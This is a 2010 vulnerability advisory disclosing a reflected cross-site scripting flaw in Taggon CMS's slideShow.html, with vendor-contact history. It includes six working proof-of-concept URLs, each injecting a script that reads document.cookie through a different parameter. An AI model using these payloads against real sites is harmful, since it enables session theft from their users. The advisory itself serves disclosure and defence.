Cross-site Scripting (XSS) Vulnerability in Taggon CMS

Advisory ID:HTB22477
Product:Taggon CMS
Vulnerable Versions:Current on 01.07.2010 and probably prior
Tested Version:Current on 01.07.2010
Advisory Publication:July 1, 2010 [without technical details]
Vendor Notification:July 1, 2010
Public Disclosure:July 15, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Taggon CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in Taggon CMS
The vulnerability exists due to input sanitation error in the multiple parameters in slideShow.html. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1&pic=1& slideShowMode=1&external=1&&category=_u1234567_inbox%27%22%3E%3Cscript%3Eale rt%28document.cookie%29%3C/script%3E
http://host/slideShow.html?company=C OMPANY&userid=USER&CurrentSlide=1&pic=1&slideShowMode=1&external=1%27%22%3E% 3Cscript%3Ealert%28document.cookie%29%3C/script%3E&category=_u1234567_inbox

http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1&pic =1&slideShowMode=1%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script% 3E&external=1&category=_u1234567_inbox
http://host/slideShow.html?company =COMPANY&userid=USER&CurrentSlide=1&pic=1%27%22%3E%3Cscript%3Ealert%28docume nt.cookie%29%3C/script%3E&slideShowMode=1&external=1&category=_u1234567_inbo x
http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1%2 7%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&pic=1&slideShowMo de=1&external=1&category=_u1234567_inbox
http://host/slideShow.html?compa ny=COMPANY%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&useri d=USER&CurrentSlide=1&pic=1&slideShowMode=1&external=1&category=_u1234567_in box

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Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22477 - - Cross-site Scripting (XSS) Vulnerability in Taggon CMS
[2] Taggon CMS - - Taggon CMS is a powerful content management system.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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